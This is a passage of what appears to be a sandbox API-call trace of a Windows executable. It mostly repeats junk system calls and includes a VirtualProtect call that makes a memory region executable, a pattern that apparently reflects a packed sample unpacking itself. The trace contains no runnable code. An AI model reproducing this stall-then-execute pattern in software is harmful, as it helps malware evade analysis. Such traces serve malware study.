lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.069] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.069] GetACP () returned 0x4e4 [0055.069] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.069] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.069] GetACP () returned 0x4e4 [0055.069] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.069] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.069] GetACP () returned 0x4e4 [0055.069] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.069] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.069] GetACP () returned 0x4e4 [0055.069] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.069] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.069] GetACP () returned 0x4e4 [0055.069] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.069] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.069] GetACP () returned 0x4e4 [0055.069] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.070] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.070] GetACP () returned 0x4e4 [0055.070] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.070] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.070] GetACP () returned 0x4e4 [0055.070] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.070] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.070] GetACP () returned 0x4e4 [0055.070] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.070] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.070] GetACP () returned 0x4e4 [0055.595] VirtualProtect (in: lpAddress=0x5f5ac0, dwSize=0xf2eb, flNewProtect=0x40, lpflOldProtect=0x43ad04 | out: lpflOldProtect=0x43ad04*=0x4) returned 1 [0055.596] AddAtomA (lpString=0x0) returned 0x0 [0055.596] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.596] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.596] AddAtomA (lpString=0x0) returned 0x0 [0055.596] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.596] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.597] AddAtomA (lpString=0x0) returned 0x0 [0055.597] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.597] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.597] AddAtomA (lpString=0x0) returned 0x0 [0055.597] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.597] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.597] AddAtomA (lpString=0x0) returned 0x0 [0055.597] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.597] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.597] AddAtomA (lpString=0x0) returned 0x0 [0055.597] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.597] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.597] AddAtomA (lpString=0x0) returned 0x0 [0055.597] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.597] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.597] AddAtomA (lpString=0x0) returned 0x0 [0055.597] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.597] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.597] AddAtomA (lpString=0x0) returned 0x0 [0055.597] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.597] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.597] AddAtomA (lpString=0x0) returned 0x0 [0055.597] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.597] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.597] AddAtomA (lpString=0x0) returned 0x0 [0055.597] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.597] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.597] AddAtomA (lpString=0x0) returned 0x0 [0055.597] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.597] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.597] AddAtomA (lpString=0x0) returned 0x0 [0055.597] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.597] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.597] AddAtomA (lpString=0x0) returned 0x0 [0055.597] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.598] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.598] AddAtomA (lpString=0x0) returned 0x0 [0055.598] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.598] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.598] AddAtomA (lpString=0x0) returned 0x0 [0055.598] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.598] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.598] AddAtomA (lpString=0x0) returned 0x0 [0055.598] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.598] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.598] AddAtomA (lpString=0x0) returned 0x0 [0055.598] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.598] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.598] AddAtomA (lpString=0x0) returned 0x0 [0055.598] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.598] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.598] AddAtomA (lpString=0x0) returned 0x0 [0055.598] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.598] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.598] AddAtomA (lpString=0x0) returned 0x0 [0055.598] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.598] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.598] AddAtomA (lpString=0x0) returned 0x0 [0055.598] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.598] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.598] AddAtomA (lpString=0x0) returned 0x0 [0055.598] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.598] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.598] AddAtomA (lpString=0x0) returned 0x0 [0055.598] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.598] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.598] AddAtomA (lpString=0x0) returned 0x0 [0055.598] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.598] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.599] AddAtomA (lpString=0x0) returned 0x0 [0055.599] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.599] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.599] AddAtomA (lpString=0x0) returned 0x0 [0055.599] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.599] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.599] AddAtomA (lpString=0x0) returned 0x0 [0055.599] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.599] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.599] AddAtomA (lpString=0x0) returned 0x0 [0055.599] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.599] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.599] AddAtomA (lpString=0x0) returned 0x0 [0055.599] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.599] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.599] AddAtomA (lpString=0x0) returned 0x0 [0055.599] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.599] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.599] AddAtomA (lpString=0x0) returned 0x0 [0055.599] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.599] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.599] AddAtomA (lpString=0x0) returned 0x0 [0055.599] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.599] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.599] AddAtomA (lpString=0x0) returned 0x0 [0055.599] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.599] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.599] AddAtomA (lpString=0x0) returned 0x0 [0055.599] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.599] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.599] AddAtomA (lpString=0x0) returned 0x0 [0055.599] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.599] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.599] AddAtomA (lpString=0x0) returned 0x0 [0055.599] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.599] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.600] AddAtomA (lpString=0x0) returned 0x0 [0055.600] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.600] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.600] AddAtomA (lpString=0x0) returned 0x0 [0055.600] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.600] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.600] AddAtomA (lpString=0x0) returned 0x0 [0055.600] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.600] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.600] AddAtomA (lpString=0x0) returned 0x0 [0055.600] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.600] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.600] AddAtomA (lpString=0x0) returned 0x0 [0055.600] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.600] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.600] AddAtomA (lpString=0x0) returned 0x0 [0055.600] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.600] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.600] AddAtomA (lpString=0x0) returned 0x0 [0055.600] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.600] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.600] AddAtomA (lpString=0x0) returned 0x0 [0055.600] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.600] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.600] AddAtomA (lpString=0x0) returned 0x0 [0055.600] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.600] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.600] AddAtomA (lpString=0x0) returned 0x0 [0055.600] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.600] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.600] AddAtomA (lpString=0x0) returned 0x0 [0055.600] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.600] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.600] AddAtomA (lpString=0x0) returned 0x0 [0055.600] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.600] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.601] AddAtomA (lpString=0x0) returned 0x0 [0055.601] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.601] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.601] AddAtomA (lpString=0x0) returned 0x0 [0055.601] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.601] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.601] AddAtomA (lpString=0x0) returned 0x0 [0055.601] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.601] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.601] AddAtomA (lpString=0x0) returned 0x0 [0055.601] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.601] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.601] AddAtomA (lpString=0x0) returned 0x0 [0055.601] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.601] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.601] AddAtomA (lpString=0x0) returned 0x0 [0055.601] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.601] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.601] AddAtomA (lpString=0x0) returned 0x0 [0055.601] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.601] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.601] AddAtomA (lpString=0x0) returned 0x0 [0055.601] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.601] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.601] AddAtomA (lpString=0x0) returned 0x0 [0055.601] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.601] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.601] AddAtomA (lpString=0x0) returned 0x0 [0055.601] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.601] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.601] AddAtomA (lpString=0x0) returned 0x0 [0055.601] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.601] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.601] AddAtomA (lpString=0x0) returned 0x0 [0055.601] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.602] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.602] AddAtomA (lpString=0x0) returned 0x0 [0055.602] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.602] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.602] AddAtomA (lpString=0x0) returned 0x0 [0055.602] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.602] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.602] AddAtomA (lpString=0x0) returned 0x0 [0055.602] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.602] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.602] AddAtomA (lpString=0x0) returned 0x0 [0055.602] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.602] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.602] AddAtomA (lpString=0x0) returned 0x0 [0055.602] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.602] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.602] AddAtomA (lpString=0x0) returned 0x0 [0055.602] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.602] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.602] AddAtomA (lpString=0x0) returned 0x0 [0055.602] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.602] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.602] AddAtomA (lpString=0x0) returned 0x0 [0055.602] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.602] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.602] AddAtomA (lpString=0x0) returned 0x0 [0055.602] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.602] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.602] AddAtomA (lpString=0x0) returned 0x0 [0055.602] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.602] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.602] AddAtomA (lpString=0x0) returned 0x0 [0055.602] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.602] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.603] AddAtomA (lpString=0x0) returned 0x0 [0055.603] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.603] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.603] AddAtomA (lpString=0x0) returned 0x0 [0055.603] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.603] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.603] AddAtomA (lpString=0x0) returned 0x0 [0055.603] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.603] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.603] AddAtomA (lpString=0x0) returned 0x0 [0055.603] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.603] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.603] AddAtomA (lpString=0x0) returned 0x0 [0055.603] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.603] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.603] AddAtomA (lpString=0x0) returned 0x0 [0055.603] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.603] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.603] AddAtomA (lpString=0x0) returned 0x0 [0055.603] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.603] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.603] AddAtomA (lpString=0x0) returned 0x0 [0055.603] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.603] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.603] AddAtomA (lpString=0x0) returned 0x0 [0055.603] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.603] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.603] AddAtomA (lpString=0x0) returned 0x0 [0055.603] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.603] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.603] AddAtomA (lpString=0x0) returned 0x0 [0055.603] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.603] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.603] AddAtomA (lpString=0x0) returned 0x0 [0055.603] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.603] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.604] AddAtomA (lpString=0x0) returned 0x0 [0055.604] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.604] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.604] AddAtomA (lpString=0x0) returned 0x0 [0055.604] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.604] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.604] AddAtomA (lpString=0x0) returned 0x0 [0055.604] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.604] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.604] AddAtomA (lpString=0x0) returned 0x0 [0055.604] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.604] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.604] AddAtomA (lpString=0x0) returned 0x0 [0055.604] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.604] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.604] AddAtomA (lpString=0x0) returned 0x0 [0055.604] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.604] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.604] AddAtomA (lpString=0x0) returned 0x0 [0055.604] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.604] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.604] AddAtomA (lpString=0x0) returned 0x0 [0055.604] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.604] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.604] AddAtomA (lpString=0x0) returned 0x0 [0055.604] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.604] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.604] AddAtomA (lpString=0x0) returned 0x0 [0055.604] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.604] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.604] AddAtomA (lpString=0x0) returned 0x0 [0055.604] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.604] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.604] AddAtomA (lpString=0x0) returned 0x0 [0055.604] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.604] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.605] AddAtomA (lpString=0x0) returned 0x0 [0055.605] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.605] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.605] AddAtomA (lpString=0x0) 